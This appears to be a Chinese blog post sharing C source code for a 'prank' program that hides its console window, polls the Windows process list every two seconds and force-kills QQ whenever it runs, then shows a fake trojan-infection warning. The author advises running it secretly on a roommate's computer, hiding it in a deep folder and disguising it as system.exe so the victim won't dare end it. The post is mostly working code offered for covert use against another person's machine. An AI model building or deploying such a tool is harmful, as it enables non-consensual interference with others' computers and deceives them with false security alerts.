不让登QQ恶作剧小程序
暑假在家看了一些讲C语言的视频,里面讲的东西感觉比较有意思,于是就总结下,并实现了一下。感觉这个程序坑室友很有用又木有。比如,趁室友不在的时候偷偷的在他电脑上运行下,并把程序放在一个比较深的文件夹中,把exe文件名字改成一个比较难以发现的名字,比如system.exe,哈哈,这样一般人是不是不敢乱终止这个进程呢。接下来说说这个小程序的作用,这个小程序就是不断循环扫描电脑的进程列表中是否有QQ这个进程在运行,如果有的话就强制终止这个进程,并弹出一个提示电脑中病毒的提示对话框,当然你也可以什么都不提示,让他一脸懵逼,找不到原因。当然,你也可以把QQ进程改成别的,比如爱奇艺,百度云什么的,自己试试,有些程序可能会关不掉。好了,不说了,下面贴出程序源码和一些注释。
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<Windows.h>
//命令行读取进程列表
void execmd(char *cmd, char *result)
{
//定义一个字符串缓冲区
char buffer[128] = {0};
//创建一个管道,执行指令,把管道当做文件来处理,当然你也可以将文件存储到一个txt文件中,在读出
FILE *pipe = _popen(cmd,"r");
if(pipe == NULL)
{
printf("程序运行失败\n");
return ;
}
else
{
while (!feof(pipe))
{
if (fgets(buffer, 128, pipe)) //读取文件缓冲区
{
strcat(result, buffer); //连接字符串,将结果保存到result
}
}
_pclose(pipe); // 关闭管道
return ;
}
}
//隐藏程序弹出的黑窗口
void hide_blackwin()
{
//改变黑窗口标题并隐藏黑窗口
system("title NO");
//这里要用一个小工具查看windows窗口的类
/*
HWND FindWindowA(类,标题);
*/
HWND Console = FindWindowA("ConsoleWindowClass","NO");
ShowWindow(Console,SW_HIDE);
}
//扫描进程列表
void scan_tasklist()
{
char output[10240] = {0}; //储存指令结果
execmd("tasklist",output); //执行指令,将结果保存到output
/*
原型:char *strstr(const char *str1, const char *str2);
作用;找出str2字符串在str1字符串中第一次出现的位置(不包括str2的串结束符)。返回该位置的指针,如找不到,返回空指针
*/
if ((strstr(output,"QQ.exe") != NULL))
{
//windows命令,强制将一个进程中止
system("taskkill /f /im QQ.exe");
//这个是对话框纯属唬人用的,当然你也可以不加
MessageBox(0,"您的电脑QQ感染木马病毒,已强制关闭!","windows提示",0);
}
}
int main()
{
//隐藏黑窗口
hide_blackwin();
while (1)
{
//扫描进程列表
scan_tasklist();
//每隔2s扫描一次进程列表
Sleep(2000);
}
return 0;
}